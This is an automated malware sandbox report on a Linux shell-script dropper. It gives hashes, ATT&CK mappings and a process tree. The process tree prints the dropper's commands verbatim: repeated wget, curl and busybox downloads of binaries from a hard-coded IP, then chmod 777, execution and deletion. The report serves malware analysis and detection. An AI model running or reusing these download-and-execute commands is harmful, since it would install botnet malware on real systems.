c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e

Analysis

max time kernel
18s
max time network
46s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 03:18

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General

Target

c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e.sh
Size

10KB
MD5

cdd6a3d3e08f6df591f6736ed154c56c
SHA1

00357309d336d5264e16b373b6fdc3db2287f423
SHA256

c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e
SHA512

a0d9d2d0062a61b310633386b50680c48f52bca237df9bd40713b36bcc03157b57c0ee83b84bb7866ae7793f20503979f421f49466d7cb30d4cb72b8d9575395
SSDEEP

192:7URUBUxUGUaUGaygHDpneNHSttLGyeWufzapURUBUxUGUaUWaygHDDpttLGMeWuO:1eNH+eWufzaFeWufza

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
811	chmod
817	chmod
692	chmod
757	chmod
775	chmod
799	chmod
716	chmod
739	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	693	UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	717	j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
/tmp/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX	741	1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
/tmp/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL	758	Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
/tmp/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh	777	eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
/tmp/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y	800	Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
/tmp/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG	806	QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
/tmp/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d	812	0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
/tmp/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s	818	hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m	curl
File opened for modification	/tmp/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh	curl
File opened for modification	/tmp/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y	curl
File opened for modification	/tmp/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG	curl
File opened for modification	/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP	curl
File opened for modification	/tmp/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX	curl
File opened for modification	/tmp/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL	curl
File opened for modification	/tmp/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d	curl
File opened for modification	/tmp/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s	curl

/tmp/c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e.sh
/tmp/c056a582d436b69e831e6ef8abae1c532b79dcb3c12433b73fc27a447718b09e.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:663
- /usr/bin/wget
  wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  PID:665
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  PID:690
- /bin/chmod
  chmod 777 UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  ./UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP
  2⤵
  PID:694
- /usr/bin/wget
  wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  PID:711
- /bin/chmod
  chmod 777 j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  ./j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  - Executes dropped EXE
  PID:717
- /bin/rm
  rm j97Ay1rTea68yHCEg6UiZxRQrYLxHPeo6m
  2⤵
  PID:719
- /usr/bin/wget
  wget http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  PID:720
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  PID:733
- /bin/chmod
  chmod 777 1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  ./1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm 1cIYzwt6JDR8EWUvljYiVxsP545tvkdNSX
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  PID:756
- /bin/chmod
  chmod 777 Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  ./Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm Io9KNujd3gpafxEXomwWz9kLk2R4XuAklL
  2⤵
  PID:759
- /usr/bin/wget
  wget http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  PID:770
- /bin/chmod
  chmod 777 eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  ./eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm eKyz44kdHGCRqa2TU3N7X7LQxBCnVOqdxh
  2⤵
  PID:778
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  PID:794
- /bin/chmod
  chmod 777 Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  ./Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm Sam2sLqRfnReUviGturEoyCUFl1jqOPc9y
  2⤵
  PID:801
- /usr/bin/wget
  wget http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  PID:804
- /bin/chmod
  chmod 777 QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  ./QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm QaznoZnVA7rYUVvwVLdWxXCTgBB6QlWsLG
  2⤵
  PID:807
- /usr/bin/wget
  wget http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  PID:810
- /bin/chmod
  chmod 777 0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  ./0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 0qjKCHcbPROPnNbpGXduVmJSgkMlGG5r2d
  2⤵
  PID:813
- /usr/bin/wget
  wget http://216.126.231.240/bins/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  PID:816
- /bin/chmod
  chmod 777 hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  ./hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm hFwHRgLXgHagNw7KJ0jJpEtrzcVQSd6D4s
  2⤵
  PID:819
- /usr/bin/wget
  wget http://216.126.231.240/bins/WHtB0w7AyJKY7ISzzZw1OwL5EdiAhmXy1t
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/UoRyl2lhutvMau6FiKPjhLoLMl3xhNH2fP

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads